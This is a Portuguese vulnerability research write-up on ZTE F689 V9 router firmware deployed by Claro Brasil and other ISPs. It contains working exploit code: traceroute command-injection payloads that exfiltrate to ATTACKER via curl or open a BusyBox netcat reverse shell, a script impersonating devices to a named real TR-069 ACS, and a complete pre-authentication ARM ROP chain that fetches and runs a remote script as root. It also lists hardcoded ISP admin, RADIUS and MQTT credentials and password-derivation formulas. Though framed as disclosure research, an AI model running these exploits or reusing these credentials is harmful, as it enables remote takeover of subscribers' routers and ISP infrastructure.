Uma coisa que me mordeu cedo: você não pode só autenticar e imediatamente fazer POST num endpoint de dados. Você precisa navegar pra a página menuView correspondente antes , caso contrário, o httpd retorna SessionTimeout mesmo com sessão válida. O servidor mantém state de "em qual página você está" e exige que o endpoint de dados bata com isso. Perdi algumas horas pra descobrir por que meus POSTs autenticados estavam sendo rejeitados.

PoC da Injeção no Traceroute

Com uma sessão Level=1 (exige conta admin habilitada , não disponível em BCH da Claro, mas válido no firmware padrão da ZTE):

def traceroute_inject(sess, target, sess_token, payload):
    body = (
        f"IF_ACTION=TraceRouteDiagnosis&_InstID=&Control="
        f"&Host=1.1.1.1"
        f"&Interface={payload}"
        f"&MaxHopCount=10&Timeout=3000&Protocol=UDP"
        f"&Btn_TraceRouteDiagnosis="
        f"&_sessionTOKEN={sess_token}"
    )
    check = make_check_header(body)
    t0 = time.time()
    r = sess.post(
        target + "/?_type=menuData&_tag=networkdiag_traceroute_lua.lua",
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "Check": check},
        timeout=30
    )
    return time.time() - t0, r.text

# Time-based blind injection
elapsed, _ = traceroute_inject(sess, TARGET, token, "%3Bsleep+5%3B")
print(f"Elapsed: {elapsed:.2f}s")  # ≥ 5.0s confirma execução

Pra exfiltração com curl (presente no firmware via libcurl 7.59.0):

Interface=;curl -s -m5 -X POST http://ATTACKER:9191/id -d "$(id)";

Pra reverse shell via BusyBox (1.17.2, presente em /bin/busybox):

Interface=;/bin/busybox nc ATTACKER PORT -e /bin/sh

Explorando CVE-D , TR-069 ACS

A exploração do ACS é a mais impactante do ponto de vista de rede. Pra impersonar um dispositivo:

import uuid, requests

ACS = "http://tr069.sdm.virtua.com.br:7547"

def send_inform(oui, serial):
    inform_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:cwmp="urn:dslforum-org:cwmp-1-0">
  <soapenv:Header>
    <cwmp:ID soapenv:mustUnderstand="1">{uuid.uuid4()}</cwmp:ID>
  </soapenv:Header>
  <soapenv:Body>
    <cwmp:Inform>
      <DeviceId>
        <Manufacturer>ZTE</Manufacturer>
        <OUI>{oui}</OUI>
        <ProductClass>ZXHN F689</ProductClass>
        <SerialNumber>{serial}</SerialNumber>
      </DeviceId>
      <Event><EventStruct><EventCode>0 BOOTSTRAP</EventCode></EventStruct></Event>
      <MaxEnvelopes>1</MaxEnvelopes>
      <CurrentTime>{datetime.utcnow().isoformat()}Z</CurrentTime>
      <RetryCount>0</RetryCount>
      <ParameterList></ParameterList>
    </cwmp:Inform>
  </soapenv:Body>
</soapenv:Envelope>"""

    r = requests.post(ACS, data=inform_xml,
                      headers={"Content-Type": "text/xml; charset=utf-8",
                               "SOAPAction": ""})
    return r.status_code, "InformResponse" in r.text

Rodei isso 160 vezes com combinações aleatórias de OUI/serial. 160 respostas HTTP 200 OK. 160 mensagens InformResponse. O ACS distribui tokens de sessão pra quem pedir.

Explorando CVE-J — RCE Pré-Autenticado em Três Fases

Fase 1: Controle de PC via Epilogue ARM

A função check_data_integrity em ARM32 termina com a instrução pop {r4,r5,r6,r7,r8,sb,fp,pc}. Com o buffer de 256 bytes transbordado, o layout da stack no momento do pop é controlado pelo atacante em sua totalidade:

offset 000–255   sb[256]     ← buffer transbordado (conteúdo do atacante)
offset 256       saved r4    ← CONTROLADO (M[256:260])
offset 260       saved r5    ← CONTROLADO (M[260:264])
offset 264       saved r6    ← CONTROLADO
offset 268       saved r7    ← CONTROLADO
offset 272       saved r8    ← CONTROLADO
offset 276       saved sb    ← CONTROLADO
offset 280       saved fp    ← CONTROLADO
offset 284       saved pc    ← CONTROLADO (M[284:288]) ← PC HIJACK

Com M de 285+ bytes, o atacante controla pc e todos os sete registradores r4–r8, sb, fp simultaneamente. Não é necessário vazar nenhum endereço — httpd é non-PIE e todos os endereços são fixos.

Fase 2: Cadeia ROP — Write-What-Where para .bss Fixo

O .bss de httpd em 0x18ac40 é um buffer global em endereço fixo (non-PIE, não randomizado mesmo com randomize_va_space=2). A estratégia é escrever um comando curto no .bss byte a byte via gadgets ROP e então chamá-lo com system().

Gadgets identificados via ROPgadget:

Fluxo da chain ROP:

1. PC → G_MOV (0x3e0a8):
      r0 ← r4  (chunk de 4 bytes do comando)
      r4 ← endereço_destino_no_bss
      pc → G_STR

2. PC → G_STR (0x88b34):
      mem[r4] ← r0   ← escreve 4 bytes no .bss
      pc → G_MOV     ← repete para próximo chunk

3. [repete N vezes até o comando estar completo no .bss]

4. PC → G_CALL (0xfe50c):
      r0 ← r5 = 0x18ac40   ← argumento de system()
      blx r4 = blx system@PLT (0x19328)
      → executa system("curl 192.168.0.12|sh")

Observação importante: r5 é preservado durante toda a chain de escrita porque nem G_MOV nem G_STR o modificam. É carregado uma vez no início como 0x18ac40 e permanece intacto até G_CALL usá-lo como argumento para system().

PoC — exploits/httpd_rce_bsswrite.py (trecho):

from pwn import p32, u32
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64, requests

# Chave pública extraída de home/httpd/thinklua/template/commpage_status_comm.lp
pubkey = RSA.import_key(open("exploits/pubkey.pem").read())

G_MOV  = 0x3e0a8
G_STR  = 0x88b34
G_CALL = 0xfe50c
SYSTEM = 0x19328
BSS    = 0x18ac40

CMD = b"curl 192.168.0.12|sh\x00"   # 21 bytes, cabe no .bss

def write_chunk(val_4b, dest_addr):
    """Cadeia G_MOV + G_STR para escrever 4 bytes em dest_addr."""
    return (
        p32(G_MOV)     +   # pc → G_MOV
        p32(val_4b)    +   # r4 = valor → r0 (pelo G_MOV)
        p32(dest_addr) +   # r4 = destino (para G_STR)
        p32(0) * 2     +   # r3, fp (descartados)
        p32(G_STR)     +   # pc → G_STR
        p32(0) * 3         # r4, r5, sb (r5 não é modificado — preserva BSS)
    )

rop = b""
for i in range(0, len(CMD), 4):
    chunk = u32(CMD[i:i+4].ljust(4, b"\x00"))
    rop += write_chunk(chunk, BSS + i)
rop += p32(G_CALL)   # mov r0,r5; blx r4 → system(BSS)

# Layout de M: 256 bytes de padding + registradores salvos + chain ROP
M  = b"\x41" * 256        # preenche sb
M += p32(u32(CMD[:4]))    # r4 inicial = primeiro chunk do comando
M += p32(BSS)             # r5 = 0x18ac40 = argumento de system()
M += p32(0) * 3           # r6, r7, r8
M += p32(0)               # sb
M += p32(0)               # fp
M += p32(G_MOV)           # PC → início da chain
M += rop                  # chain ROP na stack estendida

C = PKCS1_v1_5.new(pubkey).encrypt(M)
check_b64 = base64.b64encode(C).decode()

requests.post("http://192.168.0.1/?_type=menuData",
              headers={"Check": check_b64,
                       "Content-Type": "application/x-www-form-urlencoded"},
              data="action=login")
# HTTP 400 é esperado — autenticação falhou, mas a chain ROP já executou

Fase 3: Execução e Confirmação Root

Verificação de timing antes do staging:

Chain ROP com system("sleep 10") via sleep@PLT 0x1955c: httpd trava por exatamente 10.81 segundos antes de ser respawnado pelo cspd. A chain funciona. ASLR é completamente irrelevante.

Staging HTTP:

No servidor do atacante em 192.168.0.12, servindo reverse_shell.sh via python3 -m http.server 80:

192.168.0.1 - - [05/Jun/2026 03:47:12] "GET / HTTP/1.1" 200 -

O dispositivo buscou o script. O shell foi estabelecido.

Exfiltração de /proc/self/status:

Name:   sh
Uid:    0    0    0    0
Gid:    0    0    0    0
CapEff: 0x3ffff7ffff

CapEff: 0x3ffff7ffff = todos os capability bits de root ativados. Uid 0. Root confirmado.

Robustez: cspd monitora e respawna httpd automaticamente após cada crash. Durante o desenvolvimento dos PoCs, httpd sobreviveu a 68+ ciclos de crash/respawn sem qualquer instabilidade do dispositivo. Iterar o exploit é completamente seguro.

Encadeamento CVE-C + CVE-J: A única informação necessária do lado do atacante é a chave pública RSA — disponível no firmware público (extraível sem autenticação via CVE-B) ou diretamente do HTML da página de status sem autenticação. O ataque é 100% remoto, 100% pré-autenticado, 100% não-interativo.

PoCs completos: exploits/httpd_check_overflow.py (verificação do reach pré-auth), exploits/httpd_rce_bsswrite.py (chain ROP completa), exploits/exploit_shell_full.py (staging automatizado).

7. Encadeando as Vulnerabilidades

Descobertas individuais são interessantes. O encadeamento é o que torna essa pesquisa significativa.

Cadeia 1: Comprometimento Remoto Completo (Sem Acesso Físico, Sem Cooperação do Assinante)

Passo 1 , CVE-B: Baixa o firmware do servidor de update do ISP (HTTP sem auth)
         → Extrai WebPrivateKey, DefAdNewPass do webpri

Passo 2 , CVE-C: Usa WebPrivateKey pra forjar headers Check pra qualquer sessão

Passo 3 , CVE-H: Autentica com qualquer username + DefAdNewPass (senha admin)
         → Obtém sessão login_right=1 (em dispositivos onde admin está habilitado)

Passo 4 , CVE-G (traceroute): POST no endpoint de traceroute com shell payload
         → Execução de comando como root

Passo 5 , CVE-E: Lê /etc/shadow do filesystem do dispositivo, joga no hashcat
         → Quebra a senha root → reutilizável em todos os F689 V9

O download do firmware sozinho dá as credenciais necessárias pra autenticar. A falha de autenticação (CVE-H) significa que você nem precisa saber o username exato. Se você está mirando um dispositivo não-BCH onde a conta admin está habilitada, a injeção no traceroute te dá root. O hash do shadow dá uma credencial root persistente em toda a população de dispositivos.

Cadeia 2: Ataque do Lado do ISP (Atacando Dispositivos de Assinantes a Partir da WAN)

Passo 1 , CVE-D: Envia Inform ao ACS se passando pelo dispositivo alvo
         → Recebe CWMPSessionToken pra a sessão "do dispositivo"

Passo 2 , CVE-D (continuação): Emite GetParameterValues ao ACS
         → Lê configuração completa do dispositivo incluindo credenciais

Passo 3 , CVE-H: Usa a senha da conta ISP do assinante pra autenticar na interface web
         → Funciona mesmo com username errado

Passo 4 , CVE-F (TLS MitM): Usa a chave privada do cert TLS compartilhado + ARP spoofing
         → Intercepta sessões HTTPS do assinante pro roteador
         → Captura credenciais passivamente

Essa cadeia é particularmente desagradável porque os passos 1–2 exigem apenas acesso à internet e conhecimento do serial number do dispositivo, que segue o padrão CLARO_XXXXXX (derivável do endereço MAC, que às vezes é visível publicamente).

Cadeia 3: Variante Claro BCH (Limitada mas Realista)

Em dispositivos Claro BCH especificamente, onde a conta admin está desabilitada e os endpoints de traceroute/tcpdump têm controle de acesso, a superfície de ataque disponível é mais estreita:

CVE-B: Extrai credenciais do firmware (senha da conta ISP CLARO_6842C7)
CVE-H: Login com qualquer username + senha conhecida
       → sessão login_right=2
CVE-D: Acessa a infraestrutura do ACS como qualquer dispositivo
CVE-C: Forja headers Check (útil pra automação)
CVE-F (TLS): MitM de sessões HTTPS do assinante

Execução de comando root não está disponível sem a conta Level=1. Mas roubo de credenciais e abuso da infraestrutura ISP estão.

Cadeia 4: RCE Pré-Autenticado Total (Zero Credencial, Zero Sessão — Qualquer Deployment)

Esta é a cadeia mais crítica e a única que não requer nenhuma credencial, nenhuma sessão e nenhum acesso físico — e funciona contra qualquer dispositivo F689 V9 em qualquer deployment, independente do ISP.

Passo 1 , CVE-B + CVE-C:
         Baixar firmware (HTTP sem auth) → extrair chave pública RSA de
         home/httpd/thinklua/template/commpage_status_comm.lp
         (ou obter diretamente do HTML da página de status sem autenticação)

Passo 2 , CVE-J:
         Construir payload M = [256B padding] + [r4=chunk1_cmd] + [r5=BSS_0x18ac40]
                                + [r6-fp=0] + [pc=G_MOV_0x3e0a8] + [ROP chain]
         Computar C = RSA_public_encrypt(M)
         POST http://192.168.0.1/?_type=menuData
              Header: Check: base64(C)
         → httpd decripta C→M, transborda sb[256], chain ROP executa:
           G_MOV → G_STR (escreve "curl attacker_ip|sh\0" no .bss 0x18ac40)
           → G_CALL → system(0x18ac40)

Passo 3:
         Dispositivo faz GET para o servidor do atacante e executa o script
         → shell reverso estabelecido

Resultado:
         Uid: 0 0 0 0 / CapEff: 0x3ffff7ffff = ROOT
         Sem login. Sem credencial. Sem interação com o usuário alvo.
         Funciona em todos os deployments F689 V9 com httpd ativo.

Por que essa cadeia é diferente de todas as outras: As cadeias 1–3 requerem algum fator — credencial do ISP, acesso à conta admin, conhecimento do serial number. A cadeia 4 requer apenas a chave pública RSA (pública por definição) e acesso de rede à porta 80/443 do dispositivo. É o cenário de ameaça mais severo possível para um dispositivo de rede residencial.

8. Análise de Impacto

Confidencialidade

Uma exploração bem-sucedida de qualquer um dos caminhos de RCE (CVE-G, injeção no traceroute) dá acesso root ao filesystem. A partir dessa posição:

• Ler /etc/shadow (hash root compartilhado entre todos os dispositivos , quebra uma vez, usa em todo lugar)

• Ler /etc/hardcode e descriptografar webpri (todas as credenciais ISP/admin de todos os deployments)

• Ler /etc/server-key.pem (chave privada TLS , habilita MitM HTTPS contra esse assinante)

• Capturar tráfego de rede nas interfaces LAN e WAN (tcpdump como root)

• Ler DHCP leases, tabelas ARP, lista de dispositivos conectados

Do lado do ACS (CVE-D), um atacante pode emitir GetParameterValues pra ler:

• Configuração do dispositivo (todas as credenciais ativas em texto claro)

• Endereços MAC e IPs dos dispositivos conectados

• Credenciais VoIP (usuário/senha SIP)

• PSK do WiFi

Integridade

Acesso root significa acesso de escrita total ao dispositivo:

• Modificar regras do iptables (expor serviços, redirecionar tráfego, bypass de firewall)

• Modificar configuração de DNS (apontar o DNS do assinante pra um resolver controlado pelo atacante)

• Instalar backdoor persistente via cron ou startup script modificado

• Modificar configuração do cliente TR-069 pra apontar pra um ACS controlado pelo atacante

• Empurrar firmware malicioso via RPC Download do ACS (CVE-D)

O último ponto é o mais severo: com autenticação do ACS ausente (CVE-D), um atacante poderia teoricamente forjar uma resposta RPC Download direcionando um dispositivo alvo a baixar e instalar firmware controlado pelo atacante. Isso seria um comprometimento permanente, persistente e irrecuperável de um gateway residencial.

Disponibilidade

• Loop de reboot via cron

• Bricking do dispositivo por corrupção do bootloader (menos útil, mais destrutivo)

• Black-hole da internet do assinante via manipulação da tabela de rotas

• DoS no serviço VoIP limpando a configuração SIP

Escala

É isso que eleva essa pesquisa de "bug interessante em um dispositivo" para "problema de infraestrutura em escala nacional". O firmware GUI_F689_2G_SIP_V9.0.10P4N10 é implantado em toda a base de assinantes da Claro Brasil que tem o ZTE F689 V9. O ACS TR-069 em tr069.sdm.virtua.com.br:7547 gerencia todos esses dispositivos centralmente.

CVE-D é a vulnerabilidade mais perigosa desse conjunto não por causa do score CVSS isoladamente, mas porque dá ao atacante um único ponto de alavanca sobre todo dispositivo de assinante no escopo daquele ACS , potencialmente centenas de milhares de gateways residenciais.

9. Lições Aprendidas

Lição 1: Siga o Credential Store

Em firmware embarcado, quase sempre existe um credential store. Encontrá-lo, entender sua criptografia e descriptografá-lo frequentemente é a única coisa mais valiosa que você pode fazer no começo de uma análise. Nesse dispositivo, o webpri era a chave-mestra que destravou chaves criptográficas, passphrases e credenciais padrão pra todos os outros componentes.

O padrão é consistente entre fabricantes: credenciais são criptografadas com AES em repouso (bom), mas a chave de descriptografia é derivada de outro arquivo no mesmo dispositivo (ruim), usando um algoritmo determinístico numa biblioteca compartilhada (pior). Uma vez que você reverse engineeria a derivação, você tem tudo.

Lição 2: Compare Handlers Irmãos

A injeção no traceroute se tornou óbvia no momento em que eu a comparei com o handler do ping. Dois handlers, mesmo binário, mesmo mecanismo de dispatch , um fortalecido, o outro não. Essa técnica de "comparação entre irmãos" é extremamente eficiente pra achar correções incompletas. Se você vê validação no Handler A, imediatamente cheque o Handler B fazendo a mesma operação conceitual. Desenvolvedores de firmware frequentemente consertam o bug em que tropeçaram e esquecem do mesmo code path duas funções adiante.

Lição 3: A Arquitetura de Validação Importa Mais Que a Lógica de Validação

O handler do ping tem boa validação (ChkHost, ChkLanWanCon), mas ainda executa via execl("/bin/sh", "sh", "-c", cmd). Isso significa que se a validação for ignorada algum dia (via caminho TR-069, integer overflow ou erro de lógica), você cai direto na execução shell. A correção certa não é validação melhor , é execv passando argumentos separados, de modo que o shell nunca é envolvido. Validação é defense-in-depth. execv é segurança estrutural. Sempre defenda a correção estrutural.

Lição 4: A Configuração do ISP Faz Parte da Superfície de Ataque

A configuração BCH da Claro (desabilitar a conta admin, restringir direitos de acesso) é um controle de segurança real e bloqueou dois dos meus caminhos de RCE. Mas não é uma correção de código , o código vulnerável continua presente e compilado. Um provedor diferente, ou uma unidade Claro mal-configurada, exporia esses caminhos por completo. Quando você analisa firmware CPE, precisa entender não só o que o código faz, mas como o ISP o configurou. Configuração é parte da postura de segurança.

Lição 5: Teste Dinâmico Exige Entender o Modelo de Sessão

Gastei várias horas frustrantes com sessões válidas sendo rejeitadas pelo backend. O problema era que o httpd aplica um state de "página atual" , você precisa navegar pra o menuView relevante antes de poder fazer POST no endpoint de dados correspondente. Isso é fácil de perder se você só está replayando HTTP requests brutos sem passar pelo fluxo do browser. Sempre capture e entenda a interação completa do browser antes de tentar automatizar.

Conselhos Práticos pra RE de Firmware Embarcado

• Comece com strings no binário principal antes de abrir um disassembler. Você vai encontrar nomes de objetos IPC, format strings com pontos de injection óbvios, e valores hardcoded que guiam onde olhar.

• Mapeie a arquitetura IPC primeiro. Entenda como o frontend web conversa com o daemon de backend antes de mergulhar em qualquer dos lados isoladamente.

• Lua é legível. Se o firmware tem código web em Lua, leia tudo , geralmente é a descrição mais honesta do que o dispositivo aceita e do que faz com a entrada.

• Cruze referências com o backup de config. O arquivo de config exportado frequentemente contém estruturas de tabela que mapeiam perfeitamente pra o modelo de objetos interno do firmware, economizando horas de análise binária.

• Use o decompiler do Ghidra pras partes peludas. Radare2 é mais rápido pra navegação e scripting, mas o output do decompiler do Ghidra é inestimável quando você está tentando entender uma função complexa sem passar horas em assembly ARM puro.

10. Segunda Fase de Pesquisa — Análise Estática em Escala Global: 14 Novas Vulnerabilidades

Após a divulgação inicial da primeira fase (CVE-A a CVE-I), continuei a análise do firmware com foco em bin/cspd — o daemon central de provisionamento que contém a lógica de configuração de credenciais para cada ISP parceiro da ZTE ao redor do mundo. Usando extração sistemática de strings e análise de sequências de bytes, identifiquei mais 14 vulnerabilidades independentes que afetam dezenas de milhões de dispositivos em pelo menos 12 países.

A descoberta central dessa fase foi o mapeamento das funções de provisionamento ISP-específico em cspd: cada ISP (identificado por um código CC interno) tem seu próprio bloco de inicialização, e a maioria usa credenciais hardcoded, derivações previsíveis ou protocolos inseguros que contradizem qualquer modelo razoável de segurança de CPE.

10.1 CVE-J — Pre-Auth RCE em httpd (documentado na Seção 5 e 6)

Tecnicamente descoberto durante esta fase de análise, CVE-J está detalhado nas seções anteriores por ser a vulnerabilidade de maior impacto. CVSS 9.8 Critical. Ver Seções 5 e 6.

10.2 CVE-II — Chave AES Hardcoded em passpppoe.so (CWE-321)

A biblioteca lib/passpppoe.so contém uma chave AES hardcoded utilizada para cifrar credenciais PPPoE durante o provisionamento. A chave está embeddada como literal binário no próprio código da biblioteca — sem derivação por dispositivo, sem dependência de hardware único.

Impacto: Qualquer pessoa com acesso ao firmware (obtível sem autenticação via CVE-B) pode decriptar credenciais PPPoE de qualquer dispositivo que use essa biblioteca. Credenciais PPPoE dão acesso à sessão de internet do assinante e potencialmente ao portal de gerência do ISP.

CVSS: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

10.3 CVE-JJ — URLs de ACS TR-069 Hardcoded + Credencial Fallback Multi-ISP (CWE-798 / CWE-319)

O cspd contém, compilado como literais de string, os endereços dos servidores ACS TR-069 de 7 ISPs distintos — incluindo alguns usando HTTP puro na porta 7547 (sem TLS). A faixa de offsets 0x28d087–0x28f297 no binário contém endereços de ACS, credenciais de fallback e, no caso do GTPL India, uma whitelist de DNS hardcoded.

ISPs afetados e evidências:

GTPL India — DNS whitelist hardcoded: O bloco da GTPL India em 0x28f377 contém uma lista estática de servidores DNS que o dispositivo aceita como autoritativos: 182.237.9.10, 182.237.12.6, 43.231.56.2, 103.15.63.4, 103.36.83.36, 182.237.14.2, 27.116.55.202. Uma whitelist hardcoded no binário não pode ser atualizada via TR-069 sem um reflash de firmware.

JLM Indonesia + GTPL India — HTTP/7547: TR-069 sobre HTTP puro em porta 7547 expõe toda a sessão de provisionamento (incluindo credenciais enviadas no Inform e comandos SetParameterValues) a qualquer on-path attacker na rede do ISP ou em roteadores de trânsito entre o CPE e o ACS.

CVSS: 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) para o vetor de downgrade HTTP

10.4 CVE-KK — Artefatos de Desenvolvimento FTP na Imagem de Produção (CWE-489)

O filesystem de produção contém artefatos de desenvolvimento FTP que não deveriam estar presentes em firmware de produção: scripts de teste, arquivos de configuração temporários e credenciais de staging para infraestrutura FTP interna da ZTE.

Impacto: Exposição de detalhes sobre a infraestrutura de build e staging da ZTE. Potencial acesso a sistemas internos de desenvolvimento se as credenciais ainda estiverem válidas. Indicativo de ausência de processo de limpeza de artefatos antes do release.

CVSS: 5.3 Medium (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

10.5 CVE-LL — Senha RADIUS Hardcoded para Megacable México (CWE-798)

O bloco de provisionamento Megacable (CC=2018) em bin/cspd contém a senha RADIUS hardcoded m3g4c4b13Mvn0 como literal binário. Essa senha é usada para autenticação RADIUS do dispositivo contra a infraestrutura de autenticação da Megacable.

Evidência:

strings bin/cspd | grep -A1 'RADIUS\|radius\|Mega'
m3g4c4bXXXXXXXX

Impacto: Qualquer dispositivo Megacable pode ser autenticado na infraestrutura RADIUS da Megacable usando essa credencial. Se a infraestrutura RADIUS for usada para controle de acesso à rede, um atacante pode autenticar dispositivos não-autorizados como se fossem CPEs legítimos da Megacable.

CVSS: 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

10.6 CVE-MM — Credencial Telnet/Samba/FTP Derivada de GPON SN: ISP-198 e CC=66 Tailândia (CWE-916)

O cspd usa TdGetPonSn → GenRossnFromGponsn como fonte primária (não fallback) da credencial Telnet/SSH/Samba/FTP para dois deployments: ISP-198 (código de gerência) e CC=66 (Tailândia). A chave MIB TS_UPwd_198 aciona uma leitura de flash que, ao falhar, cai para derivação GPON SN. Para CC=66, a derivação via GPON SN é o caminho primário.

Cadeia de derivação:

GPON SN (ex: CLARO_6842C7)
  → _getGponSnfromTag()
  → ConvertStr2AscII()     [converte cada char para representação ASCII hex]
  → StringToUpper()
  → GenRossnFromGponsn()   [função de mistura — reversível com o SN em mãos]
  → credencial Telnet/Samba/FTP

O GPON SN é frequentemente visível via interface web sem autenticação, via SNMP, ou é derivável do endereço MAC (que pode ser capturado passivamente via Ethernet/WiFi). Um atacante que capture o SN deriva a credencial de gerência localmente, sem nenhuma interação com o dispositivo.

CVSS: 7.4 High (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

10.7 CVE-NN — Senha Admin Hardcoded superinea para MGTS Rússia (CWE-798)

O bloco de provisionamento MGTS Russia (CC=118) em bin/cspd contém o literal superinea como valor da chave DefAdNewPass118 — a senha de administrador hardcoded para todos os dispositivos ZTE F689 V9 implantados pela MGTS na Rússia.

Evidência (offset 0x28d170):

offset    hex                        ASCII
28d162:   44 65 66 41 64 4e 65 77 50 61 73 73 31 31 38 00  DefAdNewPXXXXXX\0
28d172:   73 75 70 65 72 69 6e 65 61 00                    superinea\0

superinea é:

• Um anagrama de sinupera e variantes — provável referência interna

• Não presente em wordlists públicas padrão, mas recuperável diretamente de strings(1) sem qualquer ferramenta de análise

• Idêntica em todos os dispositivos MGTS implantados com esse firmware

Impacto: Acesso de administrador total a qualquer dispositivo F689 V9 da base de assinantes da MGTS Russia. A MGTS é o maior provedor de telecomunicações da Rússia — essa vulnerabilidade afeta potencialmente centenas de milhares de assinantes.

CVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

10.8 CVE-OO — Protocolos de Gerência Inseguros Habilitados por ISP (CWE-319)

Dois deployments habilitam protocolos de gerência sem criptografia de forma intencional e documentada no firmware:

Megacable México (CC=2018):

• Interface web HTTP (sem HTTPS) habilitada por configuração ISP

• Telnet na porta 2323 habilitado adicionalmente ao Telnet padrão na 23

• Toda comunicação de gerência é transmitida em cleartext na rede local e potencialmente via WAN

Albania ONE (CC não divulgado):

• Todos os protocolos de gerência (HTTP, Telnet, FTP, SNMP) habilitados simultaneamente

• Nenhum protocolo seguro equivalente é configurado como obrigatório

Impacto: Qualquer on-path attacker entre o administrador e o dispositivo (LAN ou WAN) pode capturar credenciais de gerência e comandos de configuração passivamente. Para Megacable, a porta 2323 bypass qualquer firewall que filtre apenas a porta 23 padrão.

CVSS: 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) — Megacable/WAN; 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — Albania ONE/LAN todos os protocolos

10.9 CVE-PP — Credenciais MQTT de Teste Hardcoded para Claro Argentina (CWE-798)

O bloco de provisionamento Claro Argentina (CC=170) em bin/cspd contém credenciais MQTT de ambiente de teste compiladas no binário de produção:

Evidência (offset 0x28d6d4):

0x28d6d4: testcXXXXX         ← username MQTT (literal binário)
0x28d6dc: PepitopXXXXXXXX ← password MQTT (literal binário)

testcpe é um username de ambiente de testes/staging (test + CPE). Pepitopistola1. ("Pepito pistola" — expressão coloquial argentina, seguida de 1.) indica que essa credencial foi criada informalmente por um desenvolvedor e nunca substituída antes do release de produção.

Impacto: Qualquer atacante com acesso ao broker MQTT da Claro Argentina pode publicar mensagens de gerência como se fosse qualquer CPE Claro Argentina F689 V9, ou assinar tópicos de gerência para monitorar comandos enviados para qualquer dispositivo.

CVSS: 5.3 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N)

10.10 CVE-QQ — Senhas Admin Hardcoded 2029 e superadmin para ZTE F6600/CC=202 (CWE-798)

O bloco de provisionamento para o modelo F6600 / CC=202 (variante Egito) contém dois literais de senha de administrador hardcoded no binário de produção:

Evidência (offsets 0x28d700–0x28d720):

Def6600AdNewPass202\0  ← chave MIB
2029\0                 ← VALUE: senha admin hardcoded
Def6600SuNewPass202\0  ← chave MIB (superadmin)
superadmin\0           ← VALUE: senha superadmin hardcoded

2029 é trivialmente quebrável (4 dígitos). superadmin é um dos usernames/senhas mais comuns em listas de credenciais default de dispositivos de rede — presente na primeira linha de qualquer wordlist de IoT.

Nota de escopo: Essas credenciais afetam o modelo F6600 e o deployment CC=202 (Egito), não o F689 V9 Claro Brasil. A evidência está no firmware do F689 porque a ZTE usa um binário cspd compartilhado entre múltiplos modelos, com provisionamento por CC code.

CVSS: 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

10.11 CVE-RR — Derivação Global de Credenciais admin/user/SIP via GPON SN (CWE-916)

A função GenRossnFromGponsn em bin/cspd, chamada via dbc_person_authinfo_product.c, é o fallback de credencial para todos os deployments onde o ISP não define um literal hardcoded. Isso inclui as credenciais das contas admin, user e SIP (VoIP).

Cadeia completa:

Qualquer deployment (sem literal hardcoded ISP-específico)
  → dbc_person_authinfo_product.c:GetAdminPwd()
  → _getGponSnfromTag()
  → GenRossnFromGponsn(GPON_SN)
  → senha de admin/user/SIP

Impacto de escopo: CVE-MM cobre dois deployments específicos. CVE-RR é a vulnerabilidade subjacente que afeta todos os outros deployments do F689 V9 que não tenham um literal hardcoded ISP-específico. O GPON SN é um identificador de dispositivo que aparece no backup de configuração, na interface web, via SNMP, e é frequentemente correlacionável com o endereço MAC (captável passivamente).

Diferença de CVSS vs CVE-MM: CVE-MM tem AV:A porque o GPON SN é obtido de forma mais direta. CVE-RR tem AC:H adicional porque correlacionar GPON SN a um dispositivo específico a partir de posição remota exige mais esforço.

CVSS: 6.8 Medium (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)

10.12 CVE-SS — Credenciais de Gerência Derivadas de MAC: Megacable e TM Malaysia (CWE-330)

Dois deployments usam os últimos 2 octetos do endereço MAC como componente de credencial de gerência — efetivamente reduzindo o espaço de senha para 65.536 combinações (2 bytes = 16 bits):

Megacable México (CC=2018), offset 0x28878d:

// senha do admin = "admin_" + sprintf("%02X%02X", mac[4], mac[5])
// ex: admin_A1B2  se MAC = XX:XX:XX:XX:A1:B2
snprintf(pwd, sizeof(pwd), "admin_%02X%02X", mac[4], mac[5]);

TM Malaysia (Telkom Malaysia, CC=190), offsets 0x2887a0–0x2887c7:

// tmadmin: "Adm@" + sprintf("%02X%02X", mac[4], mac[5])
// tmuser:  "Usr@" + sprintf("%02X%02X", mac[4], mac[5])
snprintf(admin_pwd, sizeof(admin_pwd), "Adm@%02X%02X", mac[4], mac[5]);
snprintf(user_pwd,  sizeof(user_pwd),  "Usr@%02X%02X", mac[4], mac[5]);

Evidência raw no binário:

288790: 69 6e 5f 25 30 32 58 25 30 32 58 00 31 39 30 00   in_%02X%02X.190.

O endereço MAC completo de um dispositivo é visível em texto claro via ARP passivo em qualquer rede compartilhada, via Ethernet/WiFi sniffing, ou via DHCP offers. Com o MAC em mãos, o atacante deriva a senha de admin em milissegundos.

Encadeamento com CVE-OO (Megacable): Megacable habilita HTTP e Telnet/2323 sem TLS. Um atacante que capture o MAC via WiFi e derive admin_XX%02XX tem acesso de admin total em cleartext. A combinação eleva o CVSS efetivo para o cenário de ataque completo.

CVSS: 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — Megacable (encadeado com CVE-OO e MAC visível); 8.8 High (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) — TM Malaysia standalone

10.13 CVE-TT — Credencial Primária TR-069 ACS Derivada de GPON SN: Telmex e Tele* (CWE-916)

As funções TelmexSetTr069UsrPwd em 0x291650 e TeleSetTr069UsrPwd em 0x291673, ambas em dbc_persion_mgt_product.c, usam _GetGponSnfromTag → StringToUpper como fonte primária (não fallback) das credenciais TR-069 ACS para os deployments Telmex México e Tele* (múltiplos ISPs "Tele"-prefixados).

